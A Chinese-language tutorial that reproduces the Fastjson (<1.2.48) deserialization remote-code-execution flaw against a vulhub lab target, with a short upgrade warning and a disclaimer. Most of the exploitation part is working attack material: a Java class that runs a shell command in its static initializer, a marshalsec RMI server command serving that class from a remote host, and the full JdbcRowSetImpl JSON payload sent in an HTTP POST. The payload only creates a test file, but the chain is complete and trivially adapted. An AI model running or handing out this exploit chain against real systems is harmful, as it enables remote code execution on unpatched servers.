前言
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
因此在这里建议请及时更新至最新版本!
本文仅限技术分享,严禁用于非法用途,否则产生的一切后果自行承担。
环境要求
- 一台靶机(被攻击方)
- 一台VPS(用来挂载需要远程执行的class)
- 一台能发送请求的机器(攻击机)
环境准备
靶机
这里靶机直接使用vulhub一键搭建测试靶场,或者自己搭建测试web项目作为靶机,要求为FastJson < 1.2.48(如果目前你的生产环境是处于该版本范围内,请及时升级)。
我们这里为了方便直接使用vulhub一键搭建,具体使用方法查看vulhub官方文档:vulhub
找到对应的文件夹执行一键搭建
docker-compose up -d
等待数分钟完成后进入docker内部环境
先查找任务
docker ps
可见服务已经运行在8090端口。
通过下面指令进入docker容器
docker exec -t -i 7d852b41f896 /bin/bash
可以看到,在容器内 tmp文件夹里只有这三项,那么我们的目的就是通过fastjson漏洞,再加一个文件夹进去
到这里靶机环境已经准备就绪,接下来我们准备一台虚拟主机来挂载我们需要远程执行的恶意class。
VPS
首先vps需要java环境以及安装maven等程序,安装方式就不在这里做介绍了。自行百度
在这里本台虚拟主机的目的是编译一个恶意class,然后开启rmi服务(或ldap服务)
我们这里使用marshalsec快速开启rmi或ldap服务
下面是github地址:marshalsec
进入marshalsec根目录。使用maven编译该项目
mvn clean package -DskipTests
编译完之后进入target文件夹,发现多了两个jar包
我们顺便写个需要执行的文件进去,写好一个java文件丢进去编译成class即可。
下面贴上这次实例代码
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {
"touch", "/tmp/llwtestsuccess"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
这个执行很简单就不用解释了。上传到虚拟主机上用javac编译一下可以得到一个TouchFile.class
借助marshalsec快速开启rmi或ldap服务,这里我们监听9001端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://49.234.6.171:8088/#TouchFile" 9001
到这里虚拟主机也准备好了
漏洞复现
通过攻击机向靶场发送payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://49.234.6.171:9001/TouchFile",
"autoCommit":true
}
}
POST / HTTP/1.1
Host: 192.168.27.222:8090
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 268
Content-Type: application/json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://49.234.6.171:9001/TouchFile",
"autoCommit":true
}
}
请求完毕,查看一下靶机内tmp目录
上下对比可以看出恶意执行class成功。成功创建
看一看虚拟主机中rmi服务的日志
复现成功。